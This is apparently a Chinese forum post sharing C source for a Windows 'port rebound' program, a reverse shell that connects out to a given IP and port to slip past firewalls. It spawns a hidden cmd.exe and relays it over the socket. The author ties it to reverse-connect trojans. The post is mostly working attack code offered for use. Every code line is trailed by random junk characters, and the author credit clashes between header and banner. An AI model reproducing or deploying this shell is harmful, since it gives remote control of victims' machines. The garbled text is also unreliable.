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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Q*GJREC  
#JLxM/5^1~  
/* ============================== 8B|qNf `Yi  
Rebound port in Windows NT XZ3)gYQi  
By wind,2006/7 p%?VW  
===============================*/ qh]ILE87(  
#include gPA), NrN  
#include /-mo8]J#2~  
p1mY@  
#pragma comment(lib,"wsock32.lib") < gtqwH]   
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void OutputShell(); L FncY(b  
SOCKET sClient; bVbh| AA  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Wu\szI"  
lY,dyNFHV  
void main(int argc,char **argv) |V>_l' /  
{ w4"4(SR.  
WSADATA stWsaData; }ag -J."5M  
int nRet; ,[j'OyR  
SOCKADDR_IN stSaiClient,stSaiServer; ~Wox"h}(  
K9@F1ccQ/  
if(argc != 3) B0&W wa:  
{ tsqkV7?  
printf("Useage:\n\rRebound DestIP DestPort\n"); Af V a[{E  
return; :v(fgS2\  
} zdh&,!] F6  
VuiK5?m  
WSAStartup(MAKEWORD(2,2),&stWsaData); VD).UdUn  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {)c2#h  
2X@| H  
stSaiClient.sin_family = AF_INET; hh$V[/iK  
stSaiClient.sin_port = htons(0); lCznH?[  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); q7!$-  
,Zs"r}G^  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) : K#z~#n  
{ ='p&T|&  
printf("Bind Socket Failed!\n"); (oKrIm  
return; m&36$>r=  
} Z WVN(U  
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stSaiServer.sin_family = AF_INET; '%} k"&t$i  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); , (Bo .(]  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2^*a$ OJ  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) wk'12r6=(-  
{ DviRD[+q"  
printf("Connect Error!"); GW[g!6 6^  
return; >;9+4C<z0  
} ^@"EI|fsP  
OutputShell(); ]3%( '8/  
} m,TN%*U!  
2A5R3x= \  
void OutputShell() Ac'0  
{ Q=+*OQV29  
char szBuff[1024]; LZ ?z5U:  
SECURITY_ATTRIBUTES stSecurityAttributes; h yPVt6Gkj  
OSVERSIONINFO stOsversionInfo; ^V1iOf:  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +Ui @3Q  
STARTUPINFO stStartupInfo; 2^\67@9  
char *szShell; N"+o=nS  
PROCESS_INFORMATION stProcessInformation; M$O*@])  
unsigned long lBytesRead; M`~UH\  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2Gw2k8g&  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); D (>,#F  
stSecurityAttributes.lpSecurityDescriptor = 0;  dkr[B' n  
stSecurityAttributes.bInheritHandle = TRUE; VN5UJ!$?J  
 3 )bC,  
^E)*i#."4  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); gHB*u!w7Z  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $P{|^ou3a#  
7jZE(|G-  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); mHiV};$  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a (mgz&*  
stStartupInfo.wShowWindow = SW_HIDE; g ss 3e&  
stStartupInfo.hStdInput = hReadPipe; X*Qtbm,  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; sb]{05:  
9ozK}Cg4  
GetVersionEx(&stOsversionInfo); 0G=bu5  
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switch(stOsversionInfo.dwPlatformId) -_p+4tV  
{ MPtn$@  
case 1: pKnM=N1f  
szShell = "command.com"; -F-RWs{yS  
break; vZ rE9C }  
default: w,,QXJe{Z_  
szShell = "cmd.exe"; I|`/#BYbW  
break; m,u5S=3A{!  
} _`H2CXG g  
(D?%(f  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); QXQ'QEG  
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send(sClient,szMsg,77,0); y,i ~w |4  
while(1) em@bxyMm  
{ _>6xU t  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); iut[?#f^  
if(lBytesRead) e13{G @  
{ IQ5H`o?[B  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); sy ]k  
send(sClient,szBuff,lBytesRead,0); P$ a `8~w  
} -$@$  
else _D{V(c<WD  
{ T;4& ^5 n  
lBytesRead=recv(sClient,szBuff,1024,0); tU5Z?QS  
if(lBytesRead<=0) break; 7M|!N_ $  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ({R-JkW: ;  
} t,YnweH  
} $,/;QP}  
)r9l T*z  
return; /|kR= ~  
}
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